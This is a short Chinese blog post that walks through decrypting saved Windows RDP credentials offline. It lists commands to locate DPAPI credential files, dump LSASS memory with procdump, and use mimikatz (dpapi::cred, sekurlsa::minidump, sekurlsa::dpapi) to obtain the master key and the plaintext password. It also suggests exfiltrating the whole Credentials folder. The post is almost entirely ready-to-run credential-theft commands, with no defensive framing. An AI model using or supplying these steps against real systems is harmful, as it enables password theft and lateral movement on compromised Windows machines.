离线解密RDP凭证密码

一、查看是否存在凭证

1.dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

2.cmdkey /list

实际情况下最好将Credentials目录打包回本地，这里测试只下载了单个文件

上传procdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行获取内存文件

mimikatz # dpapi::cred /in:C:\user\DACFAEA5B624B4361794A2CC8AED1460，记录guidMasterKey

 

本地使用命令加载dmp并获取对应得MasterKey：

mimikatz# sekurlsa::minidump lsass.dmp //将lsaa.dmp导入

mimikatz# sekurlsa::dpapi

 

找到之前所对应得guid得到masterkey，使用Masterkey解密凭证得到明文密码

dpapi::cred /in:C:\Users\Desktop\d1e69106e /masterkey:6e65bc98836fcd5cd41c2d28ec96e538804c8b4d0419569b54a1be526f998192b1791ee40d995e6b4a9b3f126

 

posted @   aoaoaoao  阅读(1670)  评论(0)  编辑  收藏  举报
编辑推荐：
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列：如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列（二）：开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行：
· 阿里最新开源QwQ-32B，效果媲美deepseek-r1满血版，部署成本又又又降低了！
· 开源Multi-agent AI智能体框架aevatar.ai，欢迎大家贡献代码
· Manus重磅发布：全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后，我竟然真的恢复了删除的微信聊天记录！
· AI技术革命，工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示
AI IDE Trae